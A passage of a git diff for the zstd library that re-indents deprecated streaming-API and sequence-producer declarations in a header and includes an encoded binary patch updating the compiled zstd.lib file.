ZSTD_initCStream_srcSize(ZSTD_CStream* zcs, ZSTD_DEPRECATED("use ZSTD_CCtx_reset, see zstd.h for detailed instructions") ZSTDLIB_STATIC_API size_t ZSTD_initCStream_usingDict(ZSTD_CStream* zcs, - const void* dict, size_t dictSize, - int compressionLevel); + const void* dict, size_t dictSize, + int compressionLevel); /*! ZSTD_initCStream_advanced() : * This function is DEPRECATED, and is equivalent to: @@ -2679,9 +2683,9 @@ size_t ZSTD_initCStream_usingDict(ZSTD_CStream* zcs, ZSTD_DEPRECATED("use ZSTD_CCtx_reset, see zstd.h for detailed instructions") ZSTDLIB_STATIC_API size_t ZSTD_initCStream_advanced(ZSTD_CStream* zcs, - const void* dict, size_t dictSize, - ZSTD_parameters params, - unsigned long long pledgedSrcSize); + const void* dict, size_t dictSize, + ZSTD_parameters params, + unsigned long long pledgedSrcSize); /*! ZSTD_initCStream_usingCDict() : * This function is DEPRECATED, and equivalent to: @@ -2710,9 +2714,9 @@ size_t ZSTD_initCStream_usingCDict(ZSTD_CStream* zcs, const ZSTD_CDict* cdict); ZSTD_DEPRECATED("use ZSTD_CCtx_reset and ZSTD_CCtx_refCDict, see zstd.h for detailed instructions") ZSTDLIB_STATIC_API size_t ZSTD_initCStream_usingCDict_advanced(ZSTD_CStream* zcs, - const ZSTD_CDict* cdict, - ZSTD_frameParameters fParams, - unsigned long long pledgedSrcSize); + const ZSTD_CDict* cdict, + ZSTD_frameParameters fParams, + unsigned long long pledgedSrcSize); /*! ZSTD_resetCStream() : * This function is DEPRECATED, and is equivalent to: @@ -2932,12 +2936,12 @@ ZSTDLIB_STATIC_API size_t ZSTD_resetDStream(ZSTD_DStream* zds); #define ZSTD_SEQUENCE_PRODUCER_ERROR ((size_t)(-1)) typedef size_t (*ZSTD_sequenceProducer_F) ( - void* sequenceProducerState, - ZSTD_Sequence* outSeqs, size_t outSeqsCapacity, - const void* src, size_t srcSize, - const void* dict, size_t dictSize, - int compressionLevel, - size_t windowSize + void* sequenceProducerState, + ZSTD_Sequence* outSeqs, size_t outSeqsCapacity, + const void* src, size_t srcSize, + const void* dict, size_t dictSize, + int compressionLevel, + size_t windowSize ); /*! ZSTD_registerSequenceProducer() : @@ -2961,9 +2965,9 @@ typedef size_t (*ZSTD_sequenceProducer_F) ( * calling this function. */ ZSTDLIB_STATIC_API void ZSTD_registerSequenceProducer( - ZSTD_CCtx* cctx, - void* sequenceProducerState, - ZSTD_sequenceProducer_F sequenceProducer + ZSTD_CCtx* cctx, + void* sequenceProducerState, + ZSTD_sequenceProducer_F sequenceProducer ); /*! ZSTD_CCtxParams_registerSequenceProducer() : @@ -2977,9 +2981,9 @@ ZSTD_registerSequenceProducer( * See tests/zstreamtest.c for example usage. */ ZSTDLIB_STATIC_API void ZSTD_CCtxParams_registerSequenceProducer( - ZSTD_CCtx_params* params, - void* sequenceProducerState, - ZSTD_sequenceProducer_F sequenceProducer + ZSTD_CCtx_params* params, + void* sequenceProducerState, + ZSTD_sequenceProducer_F sequenceProducer ); diff --git a/compress/zstd/zstd.lib b/compress/zstd/zstd.lib index 6691d1de1daa5fb4ca3535493ade6b20aeffc57e..3655456090fbedb1145856c74fd2318eebcbd816 100644 GIT binary patch delta 114343 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ℑqEz?oq018a@s))UbJSA; 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 